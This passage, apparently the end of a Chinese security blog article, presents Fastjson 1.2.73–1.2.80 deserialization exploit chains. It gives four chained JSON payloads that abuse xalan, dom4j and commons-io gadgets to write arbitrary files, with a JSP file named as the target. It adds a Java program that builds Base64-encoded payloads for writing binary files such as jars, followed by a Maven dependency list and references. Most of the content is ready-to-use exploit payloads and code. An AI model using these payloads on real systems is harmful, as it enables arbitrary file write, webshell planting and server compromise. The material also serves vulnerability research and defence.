    }

xalan-2.7.2+高版本CommonIO写文件

依次打下面的几个poc,替换第四个poc的数据和1.jsp

fastjson1.2.73-1.2.80

xalan-2.7.2

dom4j-2.1.3

commons-io-2.7/2.8

{
		"@type": "java.lang.Exception",
		"@type": "org.apache.xml.dtm.DTMConfigurationException","locator":{}
}
{
		"@type": "java.lang.Class",
		"val": {
			"@type": "java.lang.String" {
				"@type": "java.util.Locale",
				"val": {
					"@type": "com.alibaba.fastjson.JSONObject",
					{
						"@type": "java.lang.String"
						"@type": "org.apache.xml.dtm.DTMConfigurationException",
						"locator": {}
					}
				}
			}
{
	"su14": {
		"@type": "javax.xml.transform.SourceLocator",
		"@type": "org.apache.xpath.objects.XNodeSetForDOM",
		"nodeIter": {
			"@type": "org.apache.xpath.NodeSet"
		},
		"xctxt": {
			"@type": "org.apache.xpath.XPathContext",
			"primaryReader": {
				"@type": "org.dom4j.io.XMLWriter",
				"entityResolver": {
					"@type": "org.dom4j.io.SAXContentHandler",
					"inputSource": {
						"byteStream": {
							"@type": "java.io.InputStream"
						}
					}
				}
			}
		}
	}
}
{
		"su16": {
		                "@type": "java.io.InputStream",
						"@type": "org.apache.commons.io.input.BOMInputStream",
						"delegate": {
							"@type": "org.apache.commons.io.input.ReaderInputStream",
							"reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""数据code",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
            "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"1.jsp",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
							"charsetName": "UTF-8",
							"bufferSize": 1024
						},
						"boms": [{
							"@type": "org.apache.commons.io.ByteOrderMark",
							"charsetName": "UTF-8",
							"bytes": [
								36,82
							]
						}]
		},
		"su17": {
		                "@type": "java.io.InputStream",
						"@type": "org.apache.commons.io.input.BOMInputStream",
						"delegate": {
							"@type": "org.apache.commons.io.input.ReaderInputStream",
							"reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref": "$.su16.delegate.reader.inputStream.input"},
        "branch":{"$ref": "$.su16.delegate.reader.inputStream.branch"},
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
							"charsetName": "UTF-8",
							"bufferSize": 1024
						},
						"boms": [{
							"@type": "org.apache.commons.io.ByteOrderMark",
							"charsetName": "UTF-8",
							"bytes": [
								36,82
							]
						}]
		},
		"su18": {
		                "@type": "java.io.InputStream",
						"@type": "org.apache.commons.io.input.BOMInputStream",
						"delegate": {
							"@type": "org.apache.commons.io.input.ReaderInputStream",
							"reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref": "$.su16.delegate.reader.inputStream.input"},
        "branch":{"$ref": "$.su16.delegate.reader.inputStream.branch"},
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
							"charsetName": "UTF-8",
							"bufferSize": 1024
						},
						"boms": [{
							"@type": "org.apache.commons.io.ByteOrderMark",
							"charsetName": "UTF-8",
							"bytes": [
								36,82
							]
						}]
		},
		"su19": {
		                "@type": "java.io.InputStream",
						"@type": "org.apache.commons.io.input.BOMInputStream",
						"delegate": {
							"@type": "org.apache.commons.io.input.ReaderInputStream",
							"reader": {
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{"$ref": "$.su16.delegate.reader.inputStream.input"},
        "branch":{"$ref": "$.su16.delegate.reader.inputStream.branch"},
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
							"charsetName": "UTF-8",
							"bufferSize": 1024
						},
						"boms": [{
							"@type": "org.apache.commons.io.ByteOrderMark",
							"charsetName": "UTF-8",
							"bytes": [
								36,82
							]
						}]
		}	
	}

xalan2.7.2+低版本CommonIO写文件

可以写jar包等二进制文件

fastjson1.2.73-1.2.80

dom4j-2.1.3

commons-io-2.2

aspectjtools-1.9.6

commons-codec-1.6

public static void main(String[] args) throws Exception {
    	String url = "file:///D:/Downloads/1.txt";
    	InputStream input = new URL(url).openStream();
    	byte[] bs = new byte[input.available()];
    	input.read(bs);
    	String test = Base64.getEncoder().encodeToString(bs);
    	byte[] testbs = test.getBytes();
    	
    	//1.2.73-1.2.80 xalan-2.7.2 dom4j-2.1.3 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
        String poc1 = "{\r\n"
        		+ "		\"@type\": \"java.lang.Exception\",\r\n"
        		+ "		\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\"locator\":{}\r\n"
        		+ "}";
        String poc2 = "{\r\n"
        		+ "		\"@type\": \"java.lang.Class\",\r\n"
        		+ "		\"val\": {\r\n"
        		+ "			\"@type\": \"java.lang.String\" {\r\n"
        		+ "				\"@type\": \"java.util.Locale\",\r\n"
        		+ "				\"val\": {\r\n"
        		+ "					\"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n"
        		+ "					{\r\n"
        		+ "						\"@type\": \"java.lang.String\"\r\n"
        		+ "						\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\r\n"
        		+ "						\"locator\": {}\r\n"
        		+ "					}\r\n"
        		+ "				}\r\n"
        		+ "			}";
        String poc3 = "{\r\n"
        		+ "	\"su14\": {\r\n"
        		+ "		\"@type\": \"javax.xml.transform.SourceLocator\",\r\n"
        		+ "		\"@type\": \"org.apache.xpath.objects.XNodeSetForDOM\",\r\n"
        		+ "		\"nodeIter\": {\r\n"
        		+ "			\"@type\": \"org.apache.xpath.NodeSet\"\r\n"
        		+ "		},\r\n"
        		+ "		\"xctxt\": {\r\n"
        		+ "			\"@type\": \"org.apache.xpath.XPathContext\",\r\n"
        		+ "			\"primaryReader\": {\r\n"
        		+ "				\"@type\": \"org.dom4j.io.XMLWriter\",\r\n"
        		+ "				\"entityResolver\": {\r\n"
        		+ "					\"@type\": \"org.dom4j.io.SAXContentHandler\",\r\n"
        		+ "					\"inputSource\": {\r\n"
        		+ "						\"byteStream\": {\r\n"
        		+ "							\"@type\": \"java.io.InputStream\"\r\n"
        		+ "						}\r\n"
        		+ "					}\r\n"
        		+ "				}\r\n"
        		+ "			}\r\n"
        		+ "		}\r\n"
        		+ "	}\r\n"
        		+ "}";
        
        String poc4 = "{\r\n"
        		+ "		\"su16\": {\r\n"
        		+ "    \"@type\": \"java.io.InputStream\",\r\n"
        		+ "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n"
        		+ "  \"delegate\":{\r\n"
        		+ "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n"
        		+ "    \"input\":{\r\n"
        		+ "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n"
        		+ "      \"in\":{\r\n"
        		+ "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n"
        		+ "        \"charset\":\"utf-8\",\r\n"
        		+ "        \"bufferSize\": 1024,\r\n"
    			+ "        \"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n"
        		+ "      },\r\n"
        		+ "      \"doEncode\":false,\r\n"
        		+ "      \"lineLength\":1024,\r\n"
        		+ "      \"lineSeparator\":\"5ZWKCg==\",\r\n"
        		+ "      \"decodingPolicy\":0\r\n"
        		+ "    },\r\n"
        		+ "    \"branch\":{\r\n"
        		+ "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n"
        		+ "      \"targetPath\":\"1.txt\"\r\n"
        		+ "    },\r\n"
        		+ "    \"closeBranch\":true\r\n"
        		+ "  },\r\n"
        		+ "  \"include\":true,\r\n"
        		+ "  \"boms\":[{\r\n"
        		+ "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n"
        		+ "                  \"charsetName\": \"UTF-8\",\r\n"
    			+ "                  \"bytes\":"+Arrays.toString(testbs)+"\r\n"
        		+ "                }],\r\n"
        		+ "},\r\n"
        		+ "		\"su17\": {\r\n"
        		+ "			\"$ref\": \"$.su16.bOM.bytes\"\r\n"
        		+ "		}\r\n"
        		+ "	}";
        
        System.out.println(poc1);
        System.out.println(poc2);
        System.out.println(poc3);
        System.out.println(poc4);
    }

Maven pom.xml

<dependency>
  <groupId>ognl</groupId>
  <artifactId>ognl</artifactId>
  <version>3.2.18</version>
</dependency>

<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjtools</artifactId>
  <version>1.8.14</version>
</dependency>

<dependency>
  <groupId>commons-io</groupId>
  <artifactId>commons-io</artifactId>
  <version>2.8.0</version>
</dependency>

<dependency>
  <groupId>xalan</groupId>
  <artifactId>xalan</artifactId>
  <version>2.7.2</version>
</dependency>

<dependency>
  <groupId>org.dom4j</groupId>
  <artifactId>dom4j</artifactId>
  <version>2.1.3</version>
</dependency>

<dependency>
  <groupId>org.codehaus.groovy</groupId>
  <artifactId>groovy</artifactId>
  <version>3.0.3</version>
</dependency>

5、参考

https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf

https://github.com/kezibei/fastjson_payload

# java反序列化 # Fastjson
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录